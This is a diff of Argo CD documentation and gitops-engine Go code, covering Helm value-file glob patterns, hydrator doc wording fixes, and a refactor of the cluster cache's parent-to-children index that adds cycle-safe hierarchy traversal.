> inside `envs/` (not just subdirectories). doublestar traverses directories in lexical order
|
||||
> and processes each directory's own files (alphabetically) before descending into its
|
||||
> subdirectories. This means `envs/z.yaml` always comes before `envs/nested/c.yaml`, even
|
||||
> though `'n' < 'z'` alphabetically. To make ordering fully explicit and predictable,
|
||||
> use numeric prefixes (see [Naming conventions](#naming-conventions)).
|
||||
|
||||
### Using environment variables in glob patterns
|
||||
|
||||
[Build environment variables](./build-environment.md) are substituted **before** the glob is
|
||||
evaluated, so you can construct patterns dynamically:
|
||||
|
||||
```yaml
|
||||
source:
|
||||
helm:
|
||||
valueFiles:
|
||||
- envs/$ARGOCD_APP_NAME/*.yaml
|
||||
```
|
||||
|
||||
This lets a single Application template expand to the right set of files per app name.
|
||||
|
||||
### Glob patterns with multiple sources
|
||||
|
||||
Glob patterns work with [value files from an external repository](./multiple_sources.md#helm-value-files-from-external-git-repository).
|
||||
The `$ref` variable is resolved first to the external repo's root, and the rest of the pattern is
|
||||
evaluated within that repo's directory tree:
|
||||
|
||||
```yaml
|
||||
sources:
|
||||
- repoURL: https://git.example.com/my-configs.git
|
||||
ref: configs
|
||||
- repoURL: https://git.example.com/my-chart.git
|
||||
path: chart
|
||||
helm:
|
||||
valueFiles:
|
||||
- $configs/envs/*.yaml # matches files in the 'my-configs' repo under envs/
|
||||
```
|
||||
|
||||
### Naming conventions
|
||||
|
||||
Because files are sorted lexically, the sort order controls merge precedence. A common pattern is
|
||||
to use a numeric prefix to make the intended order explicit:
|
||||
|
||||
```
|
||||
values/
|
||||
00-defaults.yaml
|
||||
10-region.yaml
|
||||
20-env.yaml
|
||||
30-override.yaml
|
||||
```
|
||||
|
||||
```yaml
|
||||
valueFiles:
|
||||
- values/*.yaml
|
||||
# expands to: 00-defaults.yaml, 10-region.yaml, 20-env.yaml, 30-override.yaml
|
||||
# 30-override.yaml has the highest precedence
|
||||
```
|
||||
|
||||
Without a prefix, pure alphabetical ordering applies. Be careful with names that sort
|
||||
unexpectedly, for example `values-10.yaml` sorts before `values-9.yaml` because `"1"` < `"9"`
|
||||
lexically.
|
||||
|
||||
### Constraints and limitations
|
||||
|
||||
**Path boundary**: Glob patterns cannot match files outside the repository root, even with
|
||||
patterns like `../../secrets/*.yaml`. Argo CD resolves the pattern's base path against the
|
||||
repository root before expanding it, and any match that would escape the root is rejected.
|
||||
|
||||
**Symlinks**: Argo CD follows symlinks when checking the path boundary. A symlink that lives
|
||||
inside the repository but points to a target outside the repository root is rejected, even though
|
||||
the symlink's own path is within the repo. This check applies to every file produced by glob
|
||||
expansion, including multi-hop symlink chains. Symlinks that resolve to a target still inside the
|
||||
repository are allowed.
|
||||
|
||||
**Absolute paths**: A path starting with `/` is treated as relative to the **repository root**,
|
||||
not the filesystem root. The pattern `/configs/*.yaml` matches files in the `configs/` directory
|
||||
at the top of the repository.
|
||||
|
||||
**Remote URLs are not glob-expanded**: Entries that are remote URLs (e.g.
|
||||
`https://raw.githubusercontent.com/.../values.yaml`) are passed to Helm as-is. Glob characters
|
||||
in a URL have no special meaning and will cause the URL to fail if the literal characters are not
|
||||
part of the URL.
|
||||
|
||||
**Shell quoting on the CLI**: Shells expand glob patterns before passing arguments to programs.
|
||||
Always quote patterns to prevent unintended shell expansion:
|
||||
|
||||
```bash
|
||||
# Correct: single quotes pass the literal pattern to Argo CD
|
||||
argocd app set myapp --values 'envs/*.yaml'
|
||||
|
||||
# Incorrect: the shell expands *.yaml against the current directory first
|
||||
argocd app set myapp --values envs/*.yaml
|
||||
```
|
||||
|
||||
### Deduplication
|
||||
|
||||
Each file is included only once, but **explicit entries take priority over glob matches** when
|
||||
determining position. If a file appears both in a glob pattern and as an explicit entry, the glob
|
||||
skips it and the explicit entry places it at its declared position.
|
||||
|
||||
```yaml
|
||||
valueFiles:
|
||||
- envs/*.yaml # expands to base.yaml, prod.yaml — but prod.yaml is listed explicitly below,
|
||||
# so the glob skips it: only base.yaml is added here
|
||||
- envs/prod.yaml # placed here at the end, giving it highest Helm precedence
|
||||
```
|
||||
|
||||
This means you can use a glob to pick up all files in a directory and then pin a specific file to
|
||||
the end (highest precedence) by listing it explicitly after the glob.
|
||||
|
||||
If the same file (same absolute path) is matched by two glob patterns, it is included at the
|
||||
position of the first match. Subsequent glob matches for that exact path are silently dropped.
|
||||
Files with the same name but at different paths are treated as distinct files and are always included.
|
||||
|
||||
```yaml
|
||||
valueFiles:
|
||||
- envs/*.yaml # matches envs/base.yaml, envs/prod.yaml
|
||||
- envs/**/*.yaml # envs/prod.yaml already matched above and is skipped;
|
||||
# envs/nested/prod.yaml is a different path and is still included
|
||||
```
|
||||
|
||||
### No-match behavior
|
||||
|
||||
If a glob pattern matches no files, Argo CD saves the Application spec (the spec is not invalid and
|
||||
the files may be added to the repository later) and surfaces a `ComparisonError` condition on the
|
||||
Application:
|
||||
|
||||
```
|
||||
values file glob "nonexistent/*.yaml" matched no files
|
||||
```
|
||||
|
||||
The app will remain in a degraded state until the pattern matches at least one file or the pattern
|
||||
is removed. No spec update is required once the files are added to the repository.
|
||||
|
||||
To silently skip a pattern that matches no files instead of raising an error, combine the glob with
|
||||
`ignoreMissingValueFiles`:
|
||||
|
||||
```yaml
|
||||
source:
|
||||
helm:
|
||||
valueFiles:
|
||||
- envs/*.yaml
|
||||
ignoreMissingValueFiles: true
|
||||
```
|
||||
|
||||
This is useful for implementing a default/override pattern where override files may not exist in
|
||||
every environment.
|
||||
|
||||
## Values
|
||||
|
||||
Argo CD supports the equivalent of a values file directly in the Application manifest using the `source.helm.valuesObject` key.
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
# Orphaned Resources Monitoring
|
||||
|
||||
!!! warning
|
||||
|
||||
Enabling orphaned resource monitoring has performance implications. If an AppProject monitors a namespace containing many resources not managed by Argo CD (e.g. `kube-system`), it can significantly impact your Argo CD instance. Enable this feature only on projects with well-scoped namespaces.
|
||||
|
||||
An [orphaned Kubernetes resource](https://kubernetes.io/docs/concepts/architecture/garbage-collection/#orphaned-dependents) is a top-level namespaced resource that does not belong to any Argo CD Application. The Orphaned Resources Monitoring feature allows detecting
|
||||
orphaned resources, inspecting/removing resources using the Argo CD UI, and generating a warning.
|
||||
|
||||
@@ -38,10 +42,10 @@ Not every resource in the Kubernetes cluster is controlled by the end user and m
|
||||
|
||||
The following resources are never considered orphaned:
|
||||
|
||||
* Namespaced resources denied in the project. Usually, such resources are managed by cluster administrators and are not supposed to be modified by a namespace user.
|
||||
* `ServiceAccount` with the name `default` (and the corresponding auto-generated `ServiceAccountToken`).
|
||||
* `Service` with the name `kubernetes` in the `default` namespace.
|
||||
* `ConfigMap` with the name `kube-root-ca.crt` in all namespaces.
|
||||
- Namespaced resources denied in the project. Usually, such resources are managed by cluster administrators and are not supposed to be modified by a namespace user.
|
||||
- `ServiceAccount` with the name `default` (and the corresponding auto-generated `ServiceAccountToken`).
|
||||
- `Service` with the name `kubernetes` in the `default` namespace.
|
||||
- `ConfigMap` with the name `kube-root-ca.crt` in all namespaces.
|
||||
|
||||
You can prevent resources from being declared orphaned by providing a list of ignore rules, each defining a Group, Kind, and Name.
|
||||
|
||||
@@ -49,8 +53,8 @@ You can prevent resources from being declared orphaned by providing a list of ig
|
||||
spec:
|
||||
orphanedResources:
|
||||
ignore:
|
||||
- kind: ConfigMap
|
||||
name: orphaned-but-ignored-configmap
|
||||
- kind: ConfigMap
|
||||
name: orphaned-but-ignored-configmap
|
||||
```
|
||||
|
||||
The `name` can be a [glob pattern](https://github.com/gobwas/glob), e.g.:
|
||||
|
||||
@@ -87,7 +87,7 @@ stringData:
|
||||
|
||||
The only difference between the secrets above, besides the resource name, is that the push secret contains the label
|
||||
`argocd.argoproj.io/secret-type: repository-write`, which causes the Secret to be used for pushing manifests to git
|
||||
instead of pulling from git. Argo CD requires different secrets for pushing and pulling to provide better isolation.
|
||||
instead of pulling from Git. Argo CD requires different secrets for pushing and pulling to provide better isolation.
|
||||
|
||||
Once your secrets are installed, set the `spec.sourceHydrator` field of the Application. For example:
|
||||
|
||||
@@ -113,7 +113,7 @@ This can be a Helm chart, a Kustomize directory, or plain manifests. Argo CD rea
|
||||
manifests from it, and then writes those hydrated manifests into the location specified by `syncSource.path`.
|
||||
|
||||
When using source hydration, the `syncSource.path` field is required and must always point to a non-root
|
||||
directory in the repository. Setting the path to the repository root (for eg. `"."` or `""`) is not
|
||||
directory in the repository. Setting the path to the repository root (for example `"."` or `""`) is not
|
||||
supported. This ensures that hydration is always scoped to a dedicated subdirectory, which avoids unintentionally overwriting or removing files that may exist in the repository root.
|
||||
|
||||
During each hydration run, Argo CD cleans the application's configured path before writing out newly generated manifests. This guarantees that old or stale files from previous hydration do not linger in the output directory. However, the repository root is never cleaned, so files such as CI/CD configuration, README files, or other root-level assets remain untouched.
|
||||
@@ -248,7 +248,7 @@ spec:
|
||||
|
||||
The source hydrator can be used to push hydrated manifests to a "staging" branch instead of the `syncSource` branch.
|
||||
This provides a way to prevent the hydrated manifests from being applied to the cluster until some prerequisite
|
||||
conditions are met (in effect providing a way to handle environment promotion via Pull Requests).
|
||||
conditions are met (in effect, providing a way to handle environment promotion via Pull Requests).
|
||||
|
||||
To use the source hydrator to push to a "staging" branch, set the `spec.sourceHydrator.hydrateTo` field of the
|
||||
Application. For example:
|
||||
@@ -350,7 +350,7 @@ git commit -m "Bump image to v1.2.3" \
|
||||
--trailer "Argocd-reference-commit-date: $date"
|
||||
```
|
||||
|
||||
The commit metadata will appear in the hydrated commit's root hydrator.metadata file:
|
||||
The commit metadata will appear in the hydrated commit's root `hydrator.metadata` file:
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -391,7 +391,7 @@ All trailers are optional. If a trailer is not specified, the corresponding fiel
|
||||
|
||||
The commit message is generated using a [Go text/template](https://pkg.go.dev/text/template), optionally configured by the user via the argocd-cm ConfigMap. The template is rendered using the values from `hydrator.metadata`. The template can be multi-line, allowing users to define a subject line, body and optional trailers. To define the commit message template, you need to set the `sourceHydrator.commitMessageTemplate` field in argocd-cm ConfigMap.
|
||||
|
||||
The template may functions from the [Sprig function library](https://github.com/Masterminds/sprig).
|
||||
The template can invoke functions from the [Sprig function library](https://github.com/Masterminds/sprig).
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
@@ -432,15 +432,15 @@ data:
|
||||
```
|
||||
|
||||
**Configuration Keys:**
|
||||
- `commit.author.name`: The git commit author name (defaults to `"Argo CD"` if not set)
|
||||
- `commit.author.email`: The git commit author email (defaults to `"argo-cd@example.com"` if not set)
|
||||
* `commit.author.name`: The git commit author name (defaults to `"Argo CD"` if not set)
|
||||
* `commit.author.email`: The git commit author email (defaults to `"argo-cd@example.com"` if not set)
|
||||
|
||||
Both values are optional. If only one is configured, the configured value will be used and the other will use its default.
|
||||
|
||||
### Credential Templates
|
||||
|
||||
Credential templates allow a single credential to be used for multiple repositories. The source hydrator supports credential templates. For example, if you setup credential templates for the URL prefix `https://github.com/argoproj`, these credentials will be used for all repositories with this URL as prefix (e.g. `https://github.com/argoproj/argocd-example-apps`) that do not have their own credentials configured.
|
||||
For more information please refer [credential-template](private-repositories.md#credential-templates).
|
||||
For more information, please refer to [Credential templates](private-repositories.md#credential-templates).
|
||||
An example of repo-write-creds secret.
|
||||
|
||||
```yaml
|
||||
@@ -463,9 +463,9 @@ stringData:
|
||||
The Source Hydrator does not create a new hydrated commit for a DRY commit if the commit doesn't affect the hydrated manifests. Instead, the hydration state (the DRY SHA last hydrated) is tracked using a [git note](https://git-scm.com/docs/git-notes) in a dedicated `source-hydrator` namespace.
|
||||
|
||||
On each run, the hydrator:
|
||||
- Checks the git note for the last hydrated DRY SHA.
|
||||
- If manifests have not changed since that SHA, only updates the note.
|
||||
- If manifests have changed, commits the new manifests and updates the note as well.
|
||||
* Checks the git note for the last hydrated DRY SHA.
|
||||
* If manifests have not changed since that SHA, only updates the note.
|
||||
* If manifests have changed, commits the new manifests and updates the note as well.
|
||||
|
||||
This improves efficiency and reduces commit noise in your repository.
|
||||
|
||||
@@ -507,8 +507,8 @@ secrets operator that populates the secret values on the destination cluster.
|
||||
### Make Hydration Deterministic
|
||||
|
||||
The source hydrator should be deterministic. For a given dry source commit, the hydrator should always produce the same
|
||||
hydrated manifests. This means that the hydrator should not rely on external state or configuration that is not stored
|
||||
in git.
|
||||
hydrated manifests. This means that the hydrator should not rely on an external state or configuration that is not stored
|
||||
in Git.
|
||||
|
||||
Examples of non-deterministic hydration:
|
||||
|
||||
@@ -533,4 +533,4 @@ to configure branch protection rules on the destination repository.
|
||||
|
||||
### Application Path Cleaning Behavior
|
||||
|
||||
The Source Hydrator does not clean (remove) files from the application's configured output path before writing new manifests. This means that any files previously generated by hydration (or otherwise present) that are not overwritten by the new hydration run will remain in the output directory.
|
||||
The Source Hydrator does not clean (remove) files from the application's configured output path before writing new manifests. This means that any files previously generated by hydration (or otherwise present) that are not overwritten by the new hydration run will remain in the output directory.
|
||||
|
||||
198
gitops-engine/pkg/cache/cluster.go
vendored
198
gitops-engine/pkg/cache/cluster.go
vendored
@@ -92,6 +92,15 @@ const (
|
||||
RespectRbacStrict
|
||||
)
|
||||
|
||||
// callState tracks whether action() has been called on a resource during hierarchy iteration.
|
||||
type callState int
|
||||
|
||||
const (
|
||||
notCalled callState = iota // action() has not been called yet
|
||||
inProgress // action() is currently being processed (in call stack)
|
||||
completed // action() has been called and processing is complete
|
||||
)
|
||||
|
||||
type apiMeta struct {
|
||||
namespaced bool
|
||||
// watchCancel stops the watch of all resources for this API. This gets called when the cache is invalidated or when
|
||||
@@ -208,10 +217,10 @@ func NewClusterCache(config *rest.Config, opts ...UpdateSettingsFunc) *clusterCa
|
||||
eventHandlers: map[uint64]OnEventHandler{},
|
||||
processEventsHandlers: map[uint64]OnProcessEventsHandler{},
|
||||
log: log,
|
||||
listRetryLimit: 1,
|
||||
listRetryUseBackoff: false,
|
||||
listRetryFunc: ListRetryFuncNever,
|
||||
parentUIDToChildren: make(map[types.UID][]kube.ResourceKey),
|
||||
listRetryLimit: 1,
|
||||
listRetryUseBackoff: false,
|
||||
listRetryFunc: ListRetryFuncNever,
|
||||
parentUIDToChildren: make(map[types.UID]map[kube.ResourceKey]struct{}),
|
||||
}
|
||||
for i := range opts {
|
||||
opts[i](cache)
|
||||
@@ -271,10 +280,11 @@ type clusterCache struct {
|
||||
|
||||
respectRBAC int
|
||||
|
||||
// Parent-to-children index for O(1) hierarchy traversal
|
||||
// Maps any resource's UID to its direct children's ResourceKeys
|
||||
// Eliminates need for O(n) graph building during hierarchy traversal
|
||||
parentUIDToChildren map[types.UID][]kube.ResourceKey
|
||||
// Parent-to-children index for O(1) child lookup during hierarchy traversal
|
||||
// Maps any resource's UID to a set of its direct children's ResourceKeys
|
||||
// Using a set eliminates O(k) duplicate checking on insertions
|
||||
// Used for cross-namespace hierarchy traversal; namespaced traversal still builds a graph
|
||||
parentUIDToChildren map[types.UID]map[kube.ResourceKey]struct{}
|
||||
}
|
||||
|
||||
type clusterCacheSync struct {
|
||||
@@ -495,60 +505,65 @@ func (c *clusterCache) setNode(n *Resource) {
|
||||
for k, v := range ns {
|
||||
// update child resource owner references
|
||||
if n.isInferredParentOf != nil && mightHaveInferredOwner(v) {
|
||||
v.setOwnerRef(n.toOwnerRef(), n.isInferredParentOf(k))
|
||||
shouldBeParent := n.isInferredParentOf(k)
|
||||
v.setOwnerRef(n.toOwnerRef(), shouldBeParent)
|
||||
// Update index inline for inferred ref changes.
|
||||
// Note: The removal case (shouldBeParent=false) is currently unreachable for
|
||||
// StatefulSet→PVC relationships because Kubernetes makes volumeClaimTemplates
|
||||
// immutable. We include it for defensive correctness and future-proofing.
|
||||
if n.Ref.UID != "" {
|
||||
if shouldBeParent {
|
||||
c.addToParentUIDToChildren(n.Ref.UID, k)
|
||||
} else {
|
||||
c.removeFromParentUIDToChildren(n.Ref.UID, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
if mightHaveInferredOwner(n) && v.isInferredParentOf != nil {
|
||||
n.setOwnerRef(v.toOwnerRef(), v.isInferredParentOf(n.ResourceKey()))
|
||||
childKey := n.ResourceKey()
|
||||
shouldBeParent := v.isInferredParentOf(childKey)
|
||||
n.setOwnerRef(v.toOwnerRef(), shouldBeParent)
|
||||
// Update index inline for inferred ref changes.
|
||||
// Note: The removal case (shouldBeParent=false) is currently unreachable for
|
||||
// StatefulSet→PVC relationships because Kubernetes makes volumeClaimTemplates
|
||||
// immutable. We include it for defensive correctness and future-proofing.
|
||||
if v.Ref.UID != "" {
|
||||
if shouldBeParent {
|
||||
c.addToParentUIDToChildren(v.Ref.UID, childKey)
|
||||
} else {
|
||||
c.removeFromParentUIDToChildren(v.Ref.UID, childKey)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// rebuildParentToChildrenIndex rebuilds the parent-to-children index after a full sync
|
||||
// This is called after initial sync to ensure all parent-child relationships are tracked
|
||||
func (c *clusterCache) rebuildParentToChildrenIndex() {
|
||||
// Clear existing index
|
||||
c.parentUIDToChildren = make(map[types.UID][]kube.ResourceKey)
|
||||
|
||||
// Rebuild parent-to-children index from all resources with owner refs
|
||||
for _, resource := range c.resources {
|
||||
key := resource.ResourceKey()
|
||||
for _, ownerRef := range resource.OwnerRefs {
|
||||
if ownerRef.UID != "" {
|
||||
c.addToParentUIDToChildren(ownerRef.UID, key)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// addToParentUIDToChildren adds a child to the parent-to-children index
|
||||
func (c *clusterCache) addToParentUIDToChildren(parentUID types.UID, childKey kube.ResourceKey) {
|
||||
// Check if child is already in the list to avoid duplicates
|
||||
children := c.parentUIDToChildren[parentUID]
|
||||
for _, existing := range children {
|
||||
if existing == childKey {
|
||||
return // Already exists, no need to add
|
||||
}
|
||||
// Get or create the set for this parent
|
||||
childrenSet := c.parentUIDToChildren[parentUID]
|
||||
if childrenSet == nil {
|
||||
childrenSet = make(map[kube.ResourceKey]struct{})
|
||||
c.parentUIDToChildren[parentUID] = childrenSet
|
||||
}
|
||||
c.parentUIDToChildren[parentUID] = append(children, childKey)
|
||||
// Add child to set (O(1) operation, automatically handles duplicates)
|
||||
childrenSet[childKey] = struct{}{}
|
||||
}
|
||||
|
||||
// removeFromParentUIDToChildren removes a child from the parent-to-children index
|
||||
func (c *clusterCache) removeFromParentUIDToChildren(parentUID types.UID, childKey kube.ResourceKey) {
|
||||
children := c.parentUIDToChildren[parentUID]
|
||||
for i, existing := range children {
|
||||
if existing == childKey {
|
||||
// Remove by swapping with last element and truncating
|
||||
children[i] = children[len(children)-1]
|
||||
c.parentUIDToChildren[parentUID] = children[:len(children)-1]
|
||||
childrenSet := c.parentUIDToChildren[parentUID]
|
||||
if childrenSet == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Clean up empty entries
|
||||
if len(c.parentUIDToChildren[parentUID]) == 0 {
|
||||
delete(c.parentUIDToChildren, parentUID)
|
||||
}
|
||||
return
|
||||
}
|
||||
// Remove child from set (O(1) operation)
|
||||
delete(childrenSet, childKey)
|
||||
|
||||
// Clean up empty sets to avoid memory leaks
|
||||
if len(childrenSet) == 0 {
|
||||
delete(c.parentUIDToChildren, parentUID)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1005,7 +1020,7 @@ func (c *clusterCache) sync() error {
|
||||
c.apisMeta = make(map[schema.GroupKind]*apiMeta)
|
||||
c.resources = make(map[kube.ResourceKey]*Resource)
|
||||
c.namespacedResources = make(map[schema.GroupKind]bool)
|
||||
c.parentUIDToChildren = make(map[types.UID][]kube.ResourceKey)
|
||||
c.parentUIDToChildren = make(map[types.UID]map[kube.ResourceKey]struct{})
|
||||
config := c.config
|
||||
version, err := c.kubectl.GetServerVersion(config)
|
||||
if err != nil {
|
||||
@@ -1104,9 +1119,6 @@ func (c *clusterCache) sync() error {
|
||||
return fmt.Errorf("failed to sync cluster %s: %w", c.config.Host, err)
|
||||
}
|
||||
|
||||
// Rebuild orphaned children index after all resources are loaded
|
||||
c.rebuildParentToChildrenIndex()
|
||||
|
||||
c.log.Info("Cluster successfully synced")
|
||||
return nil
|
||||
}
|
||||
@@ -1186,8 +1198,11 @@ func (c *clusterCache) IterateHierarchyV2(keys []kube.ResourceKey, action func(r
|
||||
c.lock.RLock()
|
||||
defer c.lock.RUnlock()
|
||||
|
||||
// Track visited resources to avoid cycles
|
||||
visited := make(map[kube.ResourceKey]int)
|
||||
// Track whether action() has been called on each resource (notCalled/inProgress/completed).
|
||||
// This is shared across processNamespaceHierarchy and processCrossNamespaceChildren.
|
||||
// Note: This is distinct from 'crossNSTraversed' in processCrossNamespaceChildren, which tracks
|
||||
// whether we've traversed a cluster-scoped key's cross-namespace children.
|
||||
actionCallState := make(map[kube.ResourceKey]callState)
|
||||
|
||||
// Group keys by namespace for efficient processing
|
||||
keysPerNamespace := make(map[string][]kube.ResourceKey)
|
||||
@@ -1203,12 +1218,18 @@ func (c *clusterCache) IterateHierarchyV2(keys []kube.ResourceKey, action func(r
|
||||
for namespace, namespaceKeys := range keysPerNamespace {
|
||||
nsNodes := c.nsIndex[namespace]
|
||||
graph := buildGraph(nsNodes)
|
||||
c.processNamespaceHierarchy(namespaceKeys, nsNodes, graph, visited, action)
|
||||
c.processNamespaceHierarchy(namespaceKeys, nsNodes, graph, actionCallState, action)
|
||||
}
|
||||
|
||||
// Process pre-computed cross-namespace children
|
||||
if clusterKeys, ok := keysPerNamespace[""]; ok {
|
||||
c.processCrossNamespaceChildren(clusterKeys, visited, action)
|
||||
// Track which cluster-scoped keys have had their cross-namespace children traversed.
|
||||
// This is distinct from 'actionCallState' - a resource may have had action() called
|
||||
// (i.e., its actionCallState is in the completed state) but not yet had its cross-namespace
|
||||
// children traversed. This prevents infinite recursion when resources have circular
|
||||
// ownerReferences.
|
||||
crossNSTraversed := make(map[kube.ResourceKey]bool)
|
||||
c.processCrossNamespaceChildren(clusterKeys, actionCallState, crossNSTraversed, action)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1216,12 +1237,21 @@ func (c *clusterCache) IterateHierarchyV2(keys []kube.ResourceKey, action func(r
|
||||
// This enables traversing from cluster-scoped parents to their namespaced children across namespace boundaries.
|
||||
// It also handles multi-level hierarchies where cluster-scoped resources own other cluster-scoped resources
|
||||
// that in turn own namespaced resources (e.g., Provider -> ProviderRevision -> Deployment in Crossplane).
|
||||
// The crossNSTraversed map tracks which keys have already been processed to prevent infinite recursion
|
||||
// from circular ownerReferences (e.g., a resource that owns itself).
|
||||
func (c *clusterCache) processCrossNamespaceChildren(
|
||||
clusterScopedKeys []kube.ResourceKey,
|
||||
visited map[kube.ResourceKey]int,
|
||||
actionCallState map[kube.ResourceKey]callState,
|
||||
crossNSTraversed map[kube.ResourceKey]bool,
|
||||
action func(resource *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool,
|
||||
) {
|
||||
for _, clusterKey := range clusterScopedKeys {
|
||||
// Skip if already processed (cycle detection)
|
||||
if crossNSTraversed[clusterKey] {
|
||||
continue
|
||||
}
|
||||
crossNSTraversed[clusterKey] = true
|
||||
|
||||
// Get cluster-scoped resource to access its UID
|
||||
clusterResource := c.resources[clusterKey]
|
||||
if clusterResource == nil {
|
||||
@@ -1229,23 +1259,24 @@ func (c *clusterCache) processCrossNamespaceChildren(
|
||||
}
|
||||
|
||||
// Use parent-to-children index for O(1) lookup of direct children
|
||||
childKeys := c.parentUIDToChildren[clusterResource.Ref.UID]
|
||||
for _, childKey := range childKeys {
|
||||
childrenSet := c.parentUIDToChildren[clusterResource.Ref.UID]
|
||||
for childKey := range childrenSet {
|
||||
child := c.resources[childKey]
|
||||
if child == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
alreadyVisited := visited[childKey] != 0
|
||||
alreadyProcessed := actionCallState[childKey] != notCalled
|
||||
|
||||
// If child is cluster-scoped and was already visited by processNamespaceHierarchy,
|
||||
// If child is cluster-scoped and action() was already called by processNamespaceHierarchy,
|
||||
// we still need to recursively check for its cross-namespace children.
|
||||
// This handles multi-level hierarchies like: ClusterScoped -> ClusterScoped -> Namespaced
|
||||
// (e.g., Crossplane's Provider -> ProviderRevision -> Deployment)
|
||||
if alreadyVisited {
|
||||
if alreadyProcessed {
|
||||
if childKey.Namespace == "" {
|
||||
// Recursively process cross-namespace children of this cluster-scoped child
|
||||
c.processCrossNamespaceChildren([]kube.ResourceKey{childKey}, visited, action)
|
||||
// The crossNSTraversed map prevents infinite recursion on circular ownerReferences
|
||||
c.processCrossNamespaceChildren([]kube.ResourceKey{childKey}, actionCallState, crossNSTraversed, action)
|
||||
}
|
||||
continue
|
||||
}
|
||||
@@ -1258,16 +1289,16 @@ func (c *clusterCache) processCrossNamespaceChildren(
|
||||
|
||||
// Process this child
|
||||
if action(child, nsNodes) {
|
||||
visited[childKey] = 1
|
||||
actionCallState[childKey] = inProgress
|
||||
// Recursively process descendants using index-based traversal
|
||||
c.iterateChildrenUsingIndex(child, nsNodes, visited, action)
|
||||
c.iterateChildrenUsingIndex(child, nsNodes, actionCallState, action)
|
||||
|
||||
// If this child is also cluster-scoped, recursively process its cross-namespace children
|
||||
if childKey.Namespace == "" {
|
||||
c.processCrossNamespaceChildren([]kube.ResourceKey{childKey}, visited, action)
|
||||
c.processCrossNamespaceChildren([]kube.ResourceKey{childKey}, actionCallState, crossNSTraversed, action)
|
||||
}
|
||||
|
||||
visited[childKey] = 2
|
||||
actionCallState[childKey] = completed
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1278,14 +1309,14 @@ func (c *clusterCache) processCrossNamespaceChildren(
|
||||
func (c *clusterCache) iterateChildrenUsingIndex(
|
||||
parent *Resource,
|
||||
nsNodes map[kube.ResourceKey]*Resource,
|
||||
visited map[kube.ResourceKey]int,
|
||||
actionCallState map[kube.ResourceKey]callState,
|
||||
action func(resource *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool,
|
||||
) {
|
||||
// Look up direct children of this parent using the index
|
||||
childKeys := c.parentUIDToChildren[parent.Ref.UID]
|
||||
for _, childKey := range childKeys {
|
||||
if visited[childKey] != 0 {
|
||||
continue // Already visited or in progress
|
||||
childrenSet := c.parentUIDToChildren[parent.Ref.UID]
|
||||
for childKey := range childrenSet {
|
||||
if actionCallState[childKey] != notCalled {
|
||||
continue // action() already called or in progress
|
||||
}
|
||||
|
||||
child := c.resources[childKey]
|
||||
@@ -1300,10 +1331,10 @@ func (c *clusterCache) iterateChildrenUsingIndex(
|
||||
}
|
||||
|
||||
if action(child, nsNodes) {
|
||||
visited[childKey] = 1
|
||||
actionCallState[childKey] = inProgress
|
||||
// Recursively process this child's descendants
|
||||
c.iterateChildrenUsingIndex(child, nsNodes, visited, action)
|
||||
visited[childKey] = 2
|
||||
c.iterateChildrenUsingIndex(child, nsNodes, actionCallState, action)
|
||||
actionCallState[childKey] = completed
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1313,22 +1344,19 @@ func (c *clusterCache) processNamespaceHierarchy(
|
||||
namespaceKeys []kube.ResourceKey,
|
||||
nsNodes map[kube.ResourceKey]*Resource,
|
||||
graph map[kube.ResourceKey]map[types.UID]*Resource,
|
||||
visited map[kube.ResourceKey]int,
|
||||
actionCallState map[kube.ResourceKey]callState,
|
||||
action func(resource *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool,
|
||||
) {
|
||||
for _, key := range namespaceKeys {
|
||||
visited[key] = 0
|
||||
}
|
||||
for _, key := range namespaceKeys {
|
||||
res := c.resources[key]
|
||||
if visited[key] == 2 || !action(res, nsNodes) {
|
||||
if actionCallState[key] == completed || !action(res, nsNodes) {
|
||||
continue
|
||||
}
|
||||
visited[key] = 1
|
||||
actionCallState[key] = inProgress
|
||||
if _, ok := graph[key]; ok {
|
||||
for _, child := range graph[key] {
|
||||
if visited[child.ResourceKey()] == 0 && action(child, nsNodes) {
|
||||
child.iterateChildrenV2(graph, nsNodes, visited, func(err error, child *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool {
|
||||
if actionCallState[child.ResourceKey()] == notCalled && action(child, nsNodes) {
|
||||
child.iterateChildrenV2(graph, nsNodes, actionCallState, func(err error, child *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool {
|
||||
if err != nil {
|
||||
c.log.V(2).Info(err.Error())
|
||||
return false
|
||||
@@ -1338,7 +1366,7 @@ func (c *clusterCache) processNamespaceHierarchy(
|
||||
}
|
||||
}
|
||||
}
|
||||
visited[key] = 2
|
||||
actionCallState[key] = completed
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1606,6 +1634,10 @@ func (c *clusterCache) onNodeRemoved(key kube.ResourceKey) {
|
||||
for k, v := range ns {
|
||||
if mightHaveInferredOwner(v) && existing.isInferredParentOf(k) {
|
||||
v.setOwnerRef(existing.toOwnerRef(), false)
|
||||
// Update index inline when removing inferred ref
|
||||
if existing.Ref.UID != "" {
|
||||
c.removeFromParentUIDToChildren(existing.Ref.UID, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
454
gitops-engine/pkg/cache/cluster_test.go
vendored
454
gitops-engine/pkg/cache/cluster_test.go
vendored
@@ -416,6 +416,128 @@ func TestStatefulSetOwnershipInferred(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestStatefulSetPVC_ParentToChildrenIndex verifies that inferred StatefulSet → PVC
|
||||
// relationships are correctly captured in the parentUIDToChildren index during initial sync.
|
||||
//
|
||||
// The index is updated inline when inferred owner refs are added in setNode()
|
||||
// (see the inferred parent handling section in clusterCache.setNode).
|
||||
func TestStatefulSetPVC_ParentToChildrenIndex(t *testing.T) {
|
||||
stsUID := types.UID("sts-uid-123")
|
